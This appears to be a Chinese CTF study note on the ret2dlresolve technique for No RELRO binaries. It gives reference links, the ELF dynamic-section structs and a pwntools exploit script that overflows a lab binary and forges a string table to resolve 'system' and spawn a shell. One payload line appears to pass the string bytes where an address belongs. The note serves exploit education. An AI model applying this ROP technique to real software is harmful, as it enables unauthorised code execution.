参考资料
Ret2dlresolve攻击——从No RELRO到FULL RELRO | T3stzer0's Blog (testzero-wz.com)
[新手向]ret2dl-resolve详解 - 知乎 (zhihu.com)
(21条消息) ret2dlresolve超详细教程(x86&x64)_77Pray的博客-CSDN博客
在no relro保护条件下,.dynamic段在可写段开头
结构如下,图片来源于https://www.testzero-wz.com/2022/03/05/Ret2dlresolve——从No-RELRO到FULL-RELRO/#no-relro
此时可以挟持指向.dynstr结构体的字段实现修改ld寻找的函数名,并通过调用got表无记录的函数进行触发
.dynamic节点结构如下
typedef struct
{
Elf32_Sword d_tag; /* Dynamic entry type */
union
{
Elf32_Word d_val; /* Integer value */
Elf32_Addr d_ptr; /* Entry Address */
} d_un;
} Elf32_Dyn;
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;
进一步分析下哪个字段负责寻找.dynstr段的偏移
特点:无需libc,无中生有,无需输出函数
from pwn import *
import ctypes
context.log_level = "debug"
context.arch = "amd64"
filename = "./pwn_norelero"
libc_name = ""
remote_ip = ""
remote_port = ""
# libc = ELF(libc_name)
mode = 0
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
if mode:
p = remote(remote_ip, remote_port)
else:
p = process(filename)
def bpp():
gdb.attach(p)
pause()
def log(x):
print("\\x1B[36m{}\\x1B[0m".format(x))
strtab = 0x4031A8
rsi_pop = 0x40119E
rdi_pop = 0x4011A0
read_addr = 0x4010A0
ret_addr = 0x4010E4
bss_addr = 0x403350+0x100
crash = 0x401050
payload = b'a'*0x28
payload += p64(rsi_pop) + p64(bss_addr)
payload += p64(read_addr)
payload += p64(rsi_pop) + p64(strtab)
payload += p64(read_addr)
payload += p64(rdi_pop) + b"/bin/sh\\x00"
payload += p64(ret_addr)
payload += p64(crash)
fake_strtab = p64(5) + p64(bss_addr)
# bpp()
sl(payload)
payload2 = b"\\x00"
for i in range(12):
payload2 += b"system" + b'\\x00'
sl(payload2)
bpp()
sl(fake_strtab)
ia()